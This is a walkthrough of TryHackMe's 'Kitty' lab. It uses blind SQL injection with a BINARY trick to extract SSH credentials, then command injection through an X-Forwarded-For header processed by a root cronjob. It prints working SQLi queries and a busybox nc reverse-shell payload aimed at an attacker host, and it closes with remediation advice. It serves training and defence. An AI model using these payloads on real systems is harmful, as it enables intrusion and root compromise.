mintshell
VI

Kitty

Blind SQL injection with BINARY keyword bypass extracts credentials for SSH, then a cronjob command injection via unsanitized X-Forwarded-For header escalates to root.

Platform
TryHackMe
Room
Kitty(external link)
Difficulty
Medium
Vulnerabilities
blind sql injection, cronjob command injection, insecure command execution
7 min read

A walkthrough of TryHackMe’s “Kitty” room. A login form’s SQL injection filter blocks common payloads but lets UNION SELECT through — we extract the admin password character by character using a blind Boolean approach with the MySQL BINARY keyword for case sensitivity. SSH access leads to a cronjob that feeds unsanitized X-Forwarded-For header values into a shell command, giving us command injection as root.

Kitty is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Flags and credentials are redacted. Values shown as <redacted> are real on the box but withheld here.

TL;DR — the whole chain

TL;DR

The login form at port 80 runs a regex-based SQL injection filter, but it only blocks a handful of patterns (sleep, 0x, or, etc.) — a UNION SELECT with -- - comments passes right through. The form is vulnerable to blind Boolean SQL injection: a successful injection logs us in, while a failed one doesn’t, leaking one bit per request. We enumerate the database (mywebsite), table (siteusers), user (kitty), and password. The MySQL LIKE operator is case-insensitive by default — adding the BINARY keyword forces byte-level comparison and extracts the correct mixed-case credential → SSH as kitty → user flag.

A hidden cronjob runs /opt/log_checker.sh as root every minute. The script reads lines from /var/www/development/logged and echoes each one into /root/logged via sh -c — with no sanitization. The dev site on 127.0.0.1:8080 writes the X-Forwarded-For header verbatim to that log file when it detects a “malicious” request. We craft a cURL request with a $() command-substitution payload in the header → the cronjob executes it as root → reverse shell → root flag.

The target

export IP=<target-ip>

Nmap shows two services:

22/tcp   SSH      OpenSSH 8.2p1 Ubuntu
80/tcp   HTTP     Apache 2.4.41 — PHP login page (PHPSESSID cookie)

The web app is a simple PHP login form with registration. No other pages beyond login, register, and a “Welcome” page post-auth.

The vulnerability: a half-baked SQL injection filter

Insight

The login form’s PHP code runs submitted values through a regex blocklist before passing them unsanitized into a raw SQL query:

$evilwords = ["/sleep/i", "/0x/i", "/\\*\\*/", "/-- [a-z0-9]{4}/i", "/ifnull/i", "/ or /i"];

The filter catches a few SQLMap signatures and the keyword or, but misses UNION, SELECT, LIKE, FROM, single quotes, and comment sequences like -- -. The query itself uses string interpolation with no prepared statements:

$sql = "select * from siteusers where username = '$username' and password = '$password';";

This combination — a narrow blocklist plus raw concatenation — gives us full SQL injection with a trivially adjusted syntax.

Step 1 — confirm injection and count columns

Submitting ' OR 1=1 -- - triggers the filter (the regex matches or). But a UNION SELECT with the right column count logs us in:

Username: ' UNION SELECT 1,2,3,4; -- -
Password: anything

Successful login confirms four columns in the siteusers table and that our injection executes.

Step 2 — blind Boolean extraction: database, table, user

Since successful injection redirects to the welcome page (response size 618 bytes) and failure stays on the login page, we have a reliable Boolean oracle. A Python script automates character-by-character extraction using LIKE with a wildcard:

# Database name
query = "' UNION SELECT 1,2,3,4 where database() like '{result}%';-- -"
# -> mywebsite

# Table name
query = "' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = 'mywebsite' and table_name like '{result}%';-- -"
# -> siteusers

# Username (excluding our test account)
query = "' UNION SELECT 1,2,3,4 from siteusers where username like '{result}%' and username != 'test'-- -"
# -> kitty

Step 3 — extract the password with BINARY for case sensitivity

The first extraction using LIKE returns all lowercase — SSH rejects it. MySQL’s LIKE is case-insensitive by default for non-binary string columns.

Insight

Adding the BINARY keyword before the comparison value forces MySQL to compare raw bytes instead of characters, making the match case-sensitive:

password LIKE BINARY 'L%'   -- matches 'L', rejects 'l'

This is a critical technique for blind SQL injection against MySQL when the extracted value contains mixed-case characters.

query = "' UNION SELECT 1,2,3,4 from siteusers where username = 'kitty' and password like BINARY '{result}%' -- -"
# -> <redacted>

SSH now works:

ssh kitty@$IP
# Password: <redacted>
cat ~/user.txt
# THM{<redacted>}

Step 4 — discover the cronjob and the log pipeline

Basic enumeration (sudo -l, SUID, capabilities) finds nothing. Running pspy64 reveals a cronjob executing /opt/log_checker.sh as root every minute:

cat /opt/log_checker.sh
#!/bin/sh
while read ip;
do
  /usr/bin/sh -c "echo $ip >> /root/logged";
done < /var/www/development/logged
cat /dev/null > /var/www/development/logged

The script reads each line from /var/www/development/logged and passes it to sh -c via string interpolation — anything in that file gets evaluated as shell code by root.

Step 5 — trace how data enters the log file

The dev site at 127.0.0.1:8080 (found via apache2ctl -S) serves the same PHP app from /var/www/development/. When the SQL injection filter triggers, it writes the X-Forwarded-For header to the log file:

$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
file_put_contents("/var/www/development/logged", $ip);

The header value is never validated or sanitized — whatever we send gets written to the file, then executed by the cronjob.

Step 6 — command injection via X-Forwarded-For → root shell

We craft a cURL request to the dev site from within the SSH session. The X-Forwarded-For header carries a $() command-substitution payload. The $ is escaped so it’s written literally to the log file, not expanded by the current shell:

curl -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Forwarded-For: \$(busybox nc $ATTACKER_IP 4445 -e /bin/bash)" \
  -d "username=0xb0b&password=test" \
  http://127.0.0.1:8080/index.php

On the attacker machine:

nc -lvnp 4445

When the cronjob fires, sh -c "echo $(busybox nc ...)" runs our payload as root:

connect to [$ATTACKER_IP] from (UNKNOWN) [$IP] 41958
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
THM{<redacted>}

Impact

Critical

High — CVSS 3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). Two chained vulnerabilities escalate from anonymous web visitor to root:

  • Blind SQL injection — full database extraction including credentials, bypassing a weak regex filter with trivial syntax changes.
  • Command injection via cronjob — unsanitized log data processed by a root-owned shell script gives arbitrary code execution as root.
  • The intermediate SSH step requires the extracted credential (hence PR:L), but the credential itself is obtained unauthenticated.

Fix

  1. Use prepared statements. Replace string interpolation with parameterized queries (mysqli_prepare / PDO). No amount of regex filtering substitutes for parameterized SQL.
  2. Never pass untrusted data to sh -c**.** The log checker should write directly with shell redirection or use printf '%s\n' with the value as an argument, not interpolated into the command string.
  3. Don’t trust X-Forwarded-For**.** It’s a client-controlled header. If logging it is necessary, sanitize to a valid IP format before writing.
  4. Hash passwords. The database stores credentials in a form that SSH accepts directly — bcrypt or argon2 would have forced an extra cracking step.

Takeaways

  • Regex-based SQL injection filters are always bypassable. There are too many SQL dialects, encodings, and comment styles to block them all. Prepared statements are the only real defense.
  • BINARY is the blind SQLi trick for MySQL mixed-case passwords. Default LIKE comparisons are case-insensitive — adding BINARY forces exact byte matching and recovers the true value.
  • Cronjobs that process user-influenced files are privilege escalation gold. Any script that reads external data and passes it to a shell command without sanitization is a command injection vector — especially when it runs as root.
  • Defense in depth would have stopped this chain at multiple points. Prepared statements block the SQLi. Input validation on X-Forwarded-For blocks the injection. Using printf instead of echo $ip in the cronjob blocks the execution. Any one fix breaks the chain.

A clean example of two distinct vulnerability classes — injection and command injection — chaining through a logging mechanism to turn a web bug into full system compromise.